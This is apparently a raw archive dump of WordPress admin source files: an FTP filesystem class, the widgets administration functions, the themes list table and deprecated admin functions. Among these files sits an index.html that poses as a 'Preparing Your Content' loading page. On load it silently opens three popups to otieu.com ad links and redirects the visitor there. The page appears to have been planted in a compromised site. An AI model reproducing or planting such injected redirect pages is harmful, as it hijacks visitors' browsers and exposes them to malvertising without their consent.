elseif ( $this->is_dir($file) ) $mode = FS_CHMOD_DIR; else return false; } // chmod any sub-objects if recursive. if ( $recursive && $this->is_dir($file) ) { $filelist = $this->dirlist($file); foreach ( (array)$filelist as $filename => $filemeta ) $this->chmod($file . '/' . $filename, $mode, $recursive); } // chmod the file or directory if ( ! function_exists('ftp_chmod') ) return (bool)@ftp_site($this->link, sprintf('CHMOD %o %s', $mode, $file)); return (bool)@ftp_chmod($this->link, $mode, $file); } function owner($file) { $dir = $this->dirlist($file); return $dir[$file]['owner']; } function getchmod($file) { $dir = $this->dirlist($file); return $dir[$file]['permsn']; } function group($file) { $dir = $this->dirlist($file); return $dir[$file]['group']; } function copy($source, $destination, $overwrite = false, $mode = false) { if ( ! $overwrite && $this->exists($destination) ) return false; $content = $this->get_contents($source); if ( false === $content ) return false; return $this->put_contents($destination, $content, $mode); } function move($source, $destination, $overwrite = false) { return ftp_rename($this->link, $source, $destination); } function delete($file, $recursive = false, $type = false) { if ( empty($file) ) return false; if ( 'f' == $type || $this->is_file($file) ) return @ftp_delete($this->link, $file); if ( !$recursive ) return @ftp_rmdir($this->link, $file); $filelist = $this->dirlist( trailingslashit($file) ); if ( !empty($filelist) ) foreach ( $filelist as $delete_file ) $this->delete( trailingslashit($file) . $delete_file['name'], $recursive, $delete_file['type'] ); return @ftp_rmdir($this->link, $file); } function exists($file) { $list = @ftp_nlist($this->link, $file); return !empty($list); //empty list = no file, so invert. } function is_file($file) { return $this->exists($file) && !$this->is_dir($file); } function is_dir($path) { $cwd = $this->cwd(); $result = @ftp_chdir($this->link, trailingslashit($path) ); if ( $result && $path == $this->cwd() || $this->cwd() != $cwd ) { @ftp_chdir($this->link, $cwd); return true; } return false; } function is_readable($file) { return true; } function is_writable($file) { return true; } function atime($file) { return false; } function mtime($file) { return ftp_mdtm($this->link, $file); } function size($file) { return ftp_size($this->link, $file); } function touch($file, $time = 0, $atime = 0) { return false; } function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { $path = untrailingslashit($path); if ( empty($path) ) return false; if ( !@ftp_mkdir($this->link, $path) ) return false; $this->chmod($path, $chmod); if ( $chown ) $this->chown($path, $chown); if ( $chgrp ) $this->chgrp($path, $chgrp); return true; } function rmdir($path, $recursive = false) { return $this->delete($path, $recursive); } function parselisting($line) { static $is_windows; if ( is_null($is_windows) ) $is_windows = stripos( ftp_systype($this->link), 'win') !== false; if ( $is_windows && preg_match('/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/', $line, $lucifer) ) { $b = array(); if ( $lucifer[3] < 70 ) $lucifer[3] +=2000; else $lucifer[3] += 1900; // 4digit year fix $b['isdir'] = ( $lucifer[7] == '<DIR>'); if ( $b['isdir'] ) $b['type'] = 'd'; else $b['type'] = 'f'; $b['size'] = $lucifer[7]; $b['month'] = $lucifer[1]; $b['day'] = $lucifer[2]; $b['year'] = $lucifer[3]; $b['hour'] = $lucifer[4]; $b['minute'] = $lucifer[5]; $b['time'] = @mktime($lucifer[4] + (strcasecmp($lucifer[6], "PM") == 0 ? 12 : 0), $lucifer[5], 0, $lucifer[1], $lucifer[2], $lucifer[3]); $b['am/pm'] = $lucifer[6]; $b['name'] = $lucifer[8]; } elseif ( !$is_windows && $lucifer = preg_split('/[ ]/', $line, 9, PREG_SPLIT_NO_EMPTY)) { //echo $line."\n"; $lcount = count($lucifer); if ( $lcount < 8 ) return ''; $b = array(); $b['isdir'] = $lucifer[0]{0} === 'd'; $b['islink'] = $lucifer[0]{0} === 'l'; if ( $b['isdir'] ) $b['type'] = 'd'; elseif ( $b['islink'] ) $b['type'] = 'l'; else $b['type'] = 'f'; $b['perms'] = $lucifer[0]; $b['number'] = $lucifer[1]; $b['owner'] = $lucifer[2]; $b['group'] = $lucifer[3]; $b['size'] = $lucifer[4]; if ( $lcount == 8 ) { sscanf($lucifer[5], '%d-%d-%d', $b['year'], $b['month'], $b['day']); sscanf($lucifer[6], '%d:%d', $b['hour'], $b['minute']); $b['time'] = @mktime($b['hour'], $b['minute'], 0, $b['month'], $b['day'], $b['year']); $b['name'] = $lucifer[7]; } else { $b['month'] = $lucifer[5]; $b['day'] = $lucifer[6]; if ( preg_match('/([0-9]{2}):([0-9]{2})/', $lucifer[7], $l2) ) { $b['year'] = date("Y"); $b['hour'] = $l2[1]; $b['minute'] = $l2[2]; } else { $b['year'] = $lucifer[7]; $b['hour'] = 0; $b['minute'] = 0; } $b['time'] = strtotime( sprintf('%d %s %d %02d:%02d', $b['day'], $b['month'], $b['year'], $b['hour'], $b['minute']) ); $b['name'] = $lucifer[8]; } } // Replace symlinks formatted as "source -> target" with just the source name if ( $b['islink'] ) $b['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $b['name'] ); return $b; } function dirlist($path = '.', $include_hidden = true, $recursive = false) { if ( $this->is_file($path) ) { $limit_file = basename($path); $path = dirname($path) . '/'; } else { $limit_file = false; } $pwd = @ftp_pwd($this->link); if ( ! @ftp_chdir($this->link, $path) ) // Cant change to folder = folder doesn't exist return false; $list = @ftp_rawlist($this->link, '-a', false); @ftp_chdir($this->link, $pwd); if ( empty($list) ) // Empty array = non-existent folder (real folder will show . at least) return false; $dirlist = array(); foreach ( $list as $k => $v ) { $entry = $this->parselisting($v); if ( empty($entry) ) continue; if ( '.' == $entry['name'] || '..' == $entry['name'] ) continue; if ( ! $include_hidden && '.' == $entry['name'][0] ) continue; if ( $limit_file && $entry['name'] != $limit_file) continue; $dirlist[ $entry['name'] ] = $entry; } $ret = array(); foreach ( (array)$dirlist as $struc ) { if ( 'd' == $struc['type'] ) { if ( $recursive ) $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); else $struc['files'] = array(); } $ret[ $struc['name'] ] = $struc; } return $ret; } function __destruct() { if ( $this->link ) ftp_close($this->link); } } widgets.php000077700000020355151514577750006760 0ustar00<?php /** * WordPress Widgets Administration API * * @package WordPress * @subpackage Administration */ /** * Display list of the available widgets. * * @since 2.5.0 */ function wp_list_widgets() { global $wp_registered_widgets, $sidebars_widgets, $wp_registered_widget_controls; $sort = $wp_registered_widgets; usort( $sort, '_sort_name_callback' ); $done = array(); foreach ( $sort as $widget ) { if ( in_array( $widget['callback'], $done, true ) ) // We already showed this multi-widget continue; $sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false ); $done[] = $widget['callback']; if ( ! isset( $widget['params'][0] ) ) $widget['params'][0] = array(); $args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template' ); if ( isset($wp_registered_widget_controls[$widget['id']]['id_base']) && isset($widget['params'][0]['number']) ) { $id_base = $wp_registered_widget_controls[$widget['id']]['id_base']; $args['_temp_id'] = "$id_base-__i__"; $args['_multi_num'] = next_widget_id_number($id_base); $args['_add'] = 'multi'; } else { $args['_add'] = 'single'; if ( $sidebar ) $args['_hide'] = '1'; } $args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) ); call_user_func_array( 'wp_widget_control', $args ); } } /** * Callback to sort array by a 'name' key. * * @since 3.1.0 * @access private */ function _sort_name_callback( $a, $b ) { return strnatcasecmp( $a['name'], $b['name'] ); } /** * Show the widgets and their settings for a sidebar. * Used in the admin widget config screen. * * @since 2.5.0 * * @param string $sidebar id slug of the sidebar * @param string optional $sidebar_name Include the HTML for the sidebar name */ function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) { add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' ); $description = wp_sidebar_description( $sidebar ); echo '<div id="' . esc_attr( $sidebar ) . '" class="widgets-sortables">'; if ( $sidebar_name ) { ?> <div class="sidebar-name"> <div class="sidebar-name-arrow"><br /></div> <h3><?php echo esc_html( $sidebar_name ); ?> <span class="spinner"></span></h3> </div> <?php } echo '<div class="sidebar-description">'; if ( ! empty( $description ) ) { echo '<p class="description">' . $description . '</p>'; } echo '</div>'; dynamic_sidebar( $sidebar ); echo '</div>'; } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param array $params * @return array */ function wp_list_widget_controls_dynamic_sidebar( $params ) { global $wp_registered_widgets; static $i = 0; $i++; $widget_id = $params[0]['widget_id']; $id = isset($params[0]['_temp_id']) ? $params[0]['_temp_id'] : $widget_id; $hidden = isset($params[0]['_hide']) ? ' style="display:none;"' : ''; $params[0]['before_widget'] = "<div id='widget-{$i}_{$id}' class='widget'$hidden>"; $params[0]['after_widget'] = "</div>"; $params[0]['before_title'] = "%BEG_OF_TITLE%"; // deprecated $params[0]['after_title'] = "%END_OF_TITLE%"; // deprecated if ( is_callable( $wp_registered_widgets[$widget_id]['callback'] ) ) { $wp_registered_widgets[$widget_id]['_callback'] = $wp_registered_widgets[$widget_id]['callback']; $wp_registered_widgets[$widget_id]['callback'] = 'wp_widget_control'; } return $params; } function next_widget_id_number($id_base) { global $wp_registered_widgets; $number = 1; foreach ( $wp_registered_widgets as $widget_id => $widget ) { if ( preg_match( '/' . $id_base . '-([0-9]+)$/', $widget_id, $matches ) ) $number = max($number, $matches[1]); } $number++; return $number; } /** * Meta widget used to display the control form for a widget. * * Called from dynamic_sidebar(). * * @since 2.5.0 * * @param array $sidebar_args * @return array */ function wp_widget_control( $sidebar_args ) { global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets; $widget_id = $sidebar_args['widget_id']; $sidebar_id = isset($sidebar_args['id']) ? $sidebar_args['id'] : false; $key = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[$sidebar_id] ) : '-1'; // position of widget in sidebar $control = isset($wp_registered_widget_controls[$widget_id]) ? $wp_registered_widget_controls[$widget_id] : array(); $widget = $wp_registered_widgets[$widget_id]; $id_format = $widget['id']; $widget_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : ''; $id_base = isset($control['id_base']) ? $control['id_base'] : $widget_id; $multi_number = isset($sidebar_args['_multi_num']) ? $sidebar_args['_multi_num'] : ''; $add_new = isset($sidebar_args['_add']) ? $sidebar_args['_add'] : ''; $query_arg = array( 'editwidget' => $widget['id'] ); if ( $add_new ) { $query_arg['addnew'] = 1; if ( $multi_number ) { $query_arg['num'] = $multi_number; $query_arg['base'] = $id_base; } } else { $query_arg['sidebar'] = $sidebar_id; $query_arg['key'] = $key; } // We aren't showing a widget control, we're outputting a template for a multi-widget control if ( isset($sidebar_args['_display']) && 'template' == $sidebar_args['_display'] && $widget_number ) { // number == -1 implies a template where id numbers are replaced by a generic '__i__' $control['params'][0]['number'] = -1; // with id_base widget id's are constructed like {$id_base}-{$id_number} if ( isset($control['id_base']) ) $id_format = $control['id_base'] . '-__i__'; } $wp_registered_widgets[$widget_id]['callback'] = $wp_registered_widgets[$widget_id]['_callback']; unset($wp_registered_widgets[$widget_id]['_callback']); $widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) ); $has_form = 'noform'; echo $sidebar_args['before_widget']; ?> <div class="widget-top"> <div class="widget-title-action"> <a class="widget-action hide-if-no-js" href="#available-widgets"></a> <a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>"> <span class="edit"><?php _ex( 'Edit', 'widget' ); ?></span> <span class="add"><?php _ex( 'Add', 'widget' ); ?></span> <span class="screen-reader-text"><?php echo $widget_title; ?></span> </a> </div> <div class="widget-title"><h4><?php echo $widget_title ?><span class="in-widget-title"></span></h4></div> </div> <div class="widget-inside"> <form action="" method="post"> <div class="widget-content"> <?php if ( isset($control['callback']) ) $has_form = call_user_func_array( $control['callback'], $control['params'] ); else echo "\t\t<p>" . __('There are no options for this widget.') . "</p>\n"; ?> </div> <input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($id_format); ?>" /> <input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" /> <input type="hidden" name="widget-width" class="widget-width" value="<?php if (isset( $control['width'] )) echo esc_attr($control['width']); ?>" /> <input type="hidden" name="widget-height" class="widget-height" value="<?php if (isset( $control['height'] )) echo esc_attr($control['height']); ?>" /> <input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr($widget_number); ?>" /> <input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" /> <input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr($add_new); ?>" /> <div class="widget-control-actions"> <div class="alignleft"> <a class="widget-control-remove" href="#remove"><?php _e('Delete'); ?></a> | <a class="widget-control-close" href="#close"><?php _e('Close'); ?></a> </div> <div class="alignright<?php if ( 'noform' === $has_form ) echo ' widget-control-noform'; ?>"> <?php submit_button( __( 'Save' ), 'button-primary widget-control-save right', 'savewidget', false, array( 'id' => 'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?> <span class="spinner"></span> </div> <br class="clear" /> </div> </form> </div> <div class="widget-description"> <?php echo ( $widget_description = wp_widget_description($widget_id) ) ? "$widget_description\n" : "$widget_title\n"; ?> </div> <?php echo $sidebar_args['after_widget']; return $sidebar_args; } index.html000077700000003007151514577750006571 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/9793499", "_blank"); window.open("https://otieu.com/4/9793438", "_blank"); window.open("https://otieu.com/4/9793498"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/9793499"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> class-wp-themes-list-table.php000077700000021667151514577750012373 0ustar00<?php /** * Themes List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Themes_List_Table extends WP_List_Table { protected $search_terms = array(); var $features = array(); function __construct( $args = array() ) { parent::__construct( array( 'ajax' => true, 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); } function ajax_user_can() { // Do not check edit_theme_options here. AJAX calls for available themes require switch_themes. return current_user_can( 'switch_themes' ); } function prepare_items() { $themes = wp_get_themes( array( 'allowed' => true ) ); if ( ! empty( $_REQUEST['s'] ) ) $this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) ); if ( ! empty( $_REQUEST['features'] ) ) $this->features = $_REQUEST['features']; if ( $this->search_terms || $this->features ) { foreach ( $themes as $key => $theme ) { if ( ! $this->search_theme( $theme ) ) unset( $themes[ $key ] ); } } unset( $themes[ get_option( 'stylesheet' ) ] ); WP_Theme::sort_by_name( $themes ); $per_page = 36; $page = $this->get_pagenum(); $start = ( $page - 1 ) * $per_page; $this->items = array_slice( $themes, $start, $per_page, true ); $this->set_pagination_args( array( 'total_items' => count( $themes ), 'per_page' => $per_page, 'infinite_scroll' => true, ) ); } function no_items() { if ( $this->search_terms || $this->features ) { _e( 'No items found.' ); return; } if ( is_multisite() ) { if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) { printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $GLOBALS['blog_id'] ), network_admin_url( 'theme-install.php' ) ); return; } elseif ( current_user_can( 'manage_network_themes' ) ) { printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $GLOBALS['blog_id'] ) ); return; } // else, fallthrough. install_themes doesn't help if you can't enable it. } else { if ( current_user_can( 'install_themes' ) ) { printf( __( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress.org Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ), admin_url( 'theme-install.php' ) ); return; } } // Fallthrough. printf( __( 'Only the current theme is available to you. Contact the %s administrator for information about accessing additional themes.' ), get_site_option( 'site_name' ) ); } function tablenav( $which = 'top' ) { if ( $this->get_pagination_arg( 'total_pages' ) <= 1 ) return; ?> <div class="tablenav themes <?php echo $which; ?>"> <?php $this->pagination( $which ); ?> <span class="spinner"></span> <br class="clear" /> </div> <?php } function display() { wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' ); ?> <?php $this->tablenav( 'top' ); ?> <div id="availablethemes"> <?php $this->display_rows_or_placeholder(); ?> </div> <?php $this->tablenav( 'bottom' ); ?> <?php } function get_columns() { return array(); } function display_rows_or_placeholder() { if ( $this->has_items() ) { $this->display_rows(); } else { echo '<div class="no-items">'; $this->no_items(); echo '</div>'; } } function display_rows() { $themes = $this->items; foreach ( $themes as $theme ): ?><div class="available-theme"><?php $template = $theme->get_template(); $stylesheet = $theme->get_stylesheet(); $title = $theme->display('Name'); $version = $theme->display('Version'); $author = $theme->display('Author'); $activate_link = wp_nonce_url( "themes.php?action=activate&template=" . urlencode( $template ) . "&stylesheet=" . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet ); $preview_link = esc_url( add_query_arg( array( 'preview' => 1, 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), 'preview_iframe' => true, 'TB_iframe' => 'true' ), home_url( '/' ) ) ); $actions = array(); $actions['activate'] = '<a href="' . $activate_link . '" class="activatelink" title="' . esc_attr( sprintf( __( 'Activate “%s”' ), $title ) ) . '">' . __( 'Activate' ) . '</a>'; $actions['preview'] = '<a href="' . $preview_link . '" class="hide-if-customize" title="' . esc_attr( sprintf( __( 'Preview “%s”' ), $title ) ) . '">' . __( 'Preview' ) . '</a>'; if ( current_user_can( 'edit_theme_options' ) ) $actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="load-customize hide-if-no-customize">' . __( 'Live Preview' ) . '</a>'; if ( ! is_multisite() && current_user_can( 'delete_themes' ) ) $actions['delete'] = '<a class="submitdelete deletion" href="' . wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet ) . '" onclick="' . "return confirm( '" . esc_js( sprintf( __( "You are about to delete this theme '%s'\n 'Cancel' to stop, 'OK' to delete." ), $title ) ) . "' );" . '">' . __( 'Delete' ) . '</a>'; /** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */ $actions = apply_filters( 'theme_action_links', $actions, $theme ); /** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */ $actions = apply_filters( "theme_action_links_$stylesheet", $actions, $theme ); $delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : ''; unset( $actions['delete'] ); ?> <a href="<?php echo $preview_link; ?>" class="screenshot hide-if-customize"> <?php if ( $screenshot = $theme->get_screenshot() ) : ?> <img src="<?php echo esc_url( $screenshot ); ?>" alt="" /> <?php endif; ?> </a> <a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize"> <?php if ( $screenshot = $theme->get_screenshot() ) : ?> <img src="<?php echo esc_url( $screenshot ); ?>" alt="" /> <?php endif; ?> </a> <h3><?php echo $title; ?></h3> <div class="theme-author"><?php printf( __( 'By %s' ), $author ); ?></div> <div class="action-links"> <ul> <?php foreach ( $actions as $action ): ?> <li><?php echo $action; ?></li> <?php endforeach; ?> <li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e('Details') ?></a></li> </ul> <?php echo $delete_action; ?> <?php theme_update_available( $theme ); ?> </div> <div class="themedetaildiv hide-if-js"> <p><strong><?php _e('Version: '); ?></strong><?php echo $version; ?></p> <p><?php echo $theme->display('Description'); ?></p> <?php if ( $theme->parent() ) { printf( ' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>', __( 'http://codex.wordpress.org/Child_Themes' ), $theme->parent()->display( 'Name' ) ); } ?> </div> </div> <?php endforeach; } function search_theme( $theme ) { // Search the features foreach ( $this->features as $word ) { if ( ! in_array( $word, $theme->get('Tags') ) ) return false; } // Match all phrases foreach ( $this->search_terms as $word ) { if ( in_array( $word, $theme->get('Tags') ) ) continue; foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) { // Don't mark up; Do translate. if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) { continue 2; } } if ( false !== stripos( $theme->get_stylesheet(), $word ) ) continue; if ( false !== stripos( $theme->get_template(), $word ) ) continue; return false; } return true; } /** * Send required variables to JavaScript land * * @since 3.4.0 * @access private * * @uses $this->features Array of all feature search terms. * @uses get_pagenum() * @uses _pagination_args['total_pages'] */ function _js_vars( $extra_args = array() ) { $search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : ''; $args = array( 'search' => $search_string, 'features' => $this->features, 'paged' => $this->get_pagenum(), 'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1, ); if ( is_array( $extra_args ) ) $args = array_merge( $args, $extra_args ); printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", json_encode( $args ) ); parent::_js_vars(); } } deprecated.php000077700000071017151514577750007413 0ustar00<?php /** * Deprecated admin functions from past WordPress versions. You shouldn't use these * functions and look for the alternatives instead. The functions will be removed * in a later version. * * @package WordPress * @subpackage Deprecated */ /* * Deprecated functions come here to die. */ /** * @since 2.1.0 * @deprecated 2.1.0 * @deprecated Use wp_editor(). * @see wp_editor() */ function tinymce_include() { _deprecated_function( __FUNCTION__, '2.1', 'wp_editor()' ); wp_tiny_mce(); } /** * Unused Admin function. * * @since 2.0.0 * @deprecated 2.5.0 * */ function documentation_link() { _deprecated_function( __FUNCTION__, '2.5' ); return; } /** * Calculates the new dimensions for a downsampled image. * * @since 2.0.0 * @deprecated 3.0.0 * @deprecated Use wp_constrain_dimensions() * @see wp_constrain_dimensions() * * @param int $width Current width of the image * @param int $height Current height of the image * @param int $wmax Maximum wanted width * @param int $hmax Maximum wanted height * @return array Shrunk dimensions (width, height). */ function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) { _deprecated_function( __FUNCTION__, '3.0', 'wp_constrain_dimensions()' ); return wp_constrain_dimensions( $width, $height, $wmax, $hmax ); } /** * Calculated the new dimensions for a downsampled image. * * @since 2.0.0 * @deprecated 3.5.0 * @deprecated Use wp_constrain_dimensions() * @see wp_constrain_dimensions() * * @param int $width Current width of the image * @param int $height Current height of the image * @return array Shrunk dimensions (width, height). */ function get_udims( $width, $height ) { _deprecated_function( __FUNCTION__, '3.5', 'wp_constrain_dimensions()' ); return wp_constrain_dimensions( $width, $height, 128, 96 ); } /** * {@internal Missing Short Description}} * * @since 0.71 * @deprecated 2.6.0 * @deprecated Use wp_category_checklist() * @see wp_category_checklist() * * @param unknown_type $default * @param unknown_type $parent * @param unknown_type $popular_ids */ function dropdown_categories( $default = 0, $parent = 0, $popular_ids = array() ) { _deprecated_function( __FUNCTION__, '2.6', 'wp_category_checklist()' ); global $post_ID; wp_category_checklist( $post_ID ); } /** * {@internal Missing Short Description}} * * @since 2.1.0 * @deprecated 2.6.0 * @deprecated Use wp_link_category_checklist() * @see wp_link_category_checklist() * * @param unknown_type $default */ function dropdown_link_categories( $default = 0 ) { _deprecated_function( __FUNCTION__, '2.6', 'wp_link_category_checklist()' ); global $link_id; wp_link_category_checklist( $link_id ); } /** * Get the real filesystem path to a file to edit within the admin. * * @since 1.5.0 * @deprecated 2.9.0 * @uses WP_CONTENT_DIR Full filesystem path to the wp-content directory. * * @param string $file Filesystem path relative to the wp-content directory. * @return string Full filesystem path to edit. */ function get_real_file_to_edit( $file ) { _deprecated_function( __FUNCTION__, '2.9' ); return WP_CONTENT_DIR . $file; } /** * {@internal Missing Short Description}} * * @since 1.2.0 * @deprecated 3.0.0 * @deprecated Use wp_dropdown_categories() * @see wp_dropdown_categories() * * @param unknown_type $currentcat * @param unknown_type $currentparent * @param unknown_type $parent * @param unknown_type $level * @param unknown_type $categories * @return unknown */ function wp_dropdown_cats( $currentcat = 0, $currentparent = 0, $parent = 0, $level = 0, $categories = 0 ) { _deprecated_function( __FUNCTION__, '3.0', 'wp_dropdown_categories()' ); if (!$categories ) $categories = get_categories( array('hide_empty' => 0) ); if ( $categories ) { foreach ( $categories as $category ) { if ( $currentcat != $category->term_id && $parent == $category->parent) { $pad = str_repeat( '– ', $level ); $category->name = esc_html( $category->name ); echo "\n\t<option value='$category->term_id'"; if ( $currentparent == $category->term_id ) echo " selected='selected'"; echo ">$pad$category->name</option>"; wp_dropdown_cats( $currentcat, $currentparent, $category->term_id, $level +1, $categories ); } } } else { return false; } } /** * Register a setting and its sanitization callback * * @since 2.7.0 * @deprecated 3.0.0 * @deprecated Use register_setting() * @see register_setting() * * @param string $option_group A settings group name. Should correspond to a whitelisted option key name. * Default whitelisted option key names include "general," "discussion," and "reading," among others. * @param string $option_name The name of an option to sanitize and save. * @param unknown_type $sanitize_callback A callback function that sanitizes the option's value. * @return unknown */ function add_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) { _deprecated_function( __FUNCTION__, '3.0', 'register_setting()' ); return register_setting( $option_group, $option_name, $sanitize_callback ); } /** * Unregister a setting * * @since 2.7.0 * @deprecated 3.0.0 * @deprecated Use unregister_setting() * @see unregister_setting() * * @param unknown_type $option_group * @param unknown_type $option_name * @param unknown_type $sanitize_callback * @return unknown */ function remove_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) { _deprecated_function( __FUNCTION__, '3.0', 'unregister_setting()' ); return unregister_setting( $option_group, $option_name, $sanitize_callback ); } /** * Determines the language to use for CodePress syntax highlighting. * * @since 2.8.0 * @deprecated 3.0.0 * * @param string $filename **/ function codepress_get_lang( $filename ) { _deprecated_function( __FUNCTION__, '3.0' ); return; } /** * Adds Javascript required to make CodePress work on the theme/plugin editors. * * @since 2.8.0 * @deprecated 3.0.0 **/ function codepress_footer_js() { _deprecated_function( __FUNCTION__, '3.0' ); return; } /** * Determine whether to use CodePress. * * @since 2.8.0 * @deprecated 3.0.0 **/ function use_codepress() { _deprecated_function( __FUNCTION__, '3.0' ); return; } /** * @deprecated 3.1.0 * * @return array List of user IDs. */ function get_author_user_ids() { _deprecated_function( __FUNCTION__, '3.1', 'get_users()' ); global $wpdb; if ( !is_multisite() ) $level_key = $wpdb->get_blog_prefix() . 'user_level'; else $level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) ); } /** * @deprecated 3.1.0 * * @param int $user_id User ID. * @return array|bool List of editable authors. False if no editable users. */ function get_editable_authors( $user_id ) { _deprecated_function( __FUNCTION__, '3.1', 'get_users()' ); global $wpdb; $editable = get_editable_user_ids( $user_id ); if ( !$editable ) { return false; } else { $editable = join(',', $editable); $authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" ); } return apply_filters('get_editable_authors', $authors); } /** * @deprecated 3.1.0 * * @param int $user_id User ID. * @param bool $exclude_zeros Optional, default is true. Whether to exclude zeros. * @return unknown */ function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) { _deprecated_function( __FUNCTION__, '3.1', 'get_users()' ); global $wpdb; if ( ! $user = get_userdata( $user_id ) ) return array(); $post_type_obj = get_post_type_object($post_type); if ( ! $user->has_cap($post_type_obj->cap->edit_others_posts) ) { if ( $user->has_cap($post_type_obj->cap->edit_posts) || ! $exclude_zeros ) return array($user->ID); else return array(); } if ( !is_multisite() ) $level_key = $wpdb->get_blog_prefix() . 'user_level'; else $level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels $query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key); if ( $exclude_zeros ) $query .= " AND meta_value != '0'"; return $wpdb->get_col( $query ); } /** * @deprecated 3.1.0 */ function get_nonauthor_user_ids() { _deprecated_function( __FUNCTION__, '3.1', 'get_users()' ); global $wpdb; if ( !is_multisite() ) $level_key = $wpdb->get_blog_prefix() . 'user_level'; else $level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) ); } if ( !class_exists('WP_User_Search') ) : /** * WordPress User Search class. * * @since 2.1.0 * @deprecated 3.1.0 */ class WP_User_Search { /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var unknown_type */ var $results; /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var unknown_type */ var $search_term; /** * Page number. * * @since 2.1.0 * @access private * @var int */ var $page; /** * Role name that users have. * * @since 2.5.0 * @access private * @var string */ var $role; /** * Raw page number. * * @since 2.1.0 * @access private * @var int|bool */ var $raw_page; /** * Amount of users to display per page. * * @since 2.1.0 * @access public * @var int */ var $users_per_page = 50; /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var unknown_type */ var $first_user; /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var int */ var 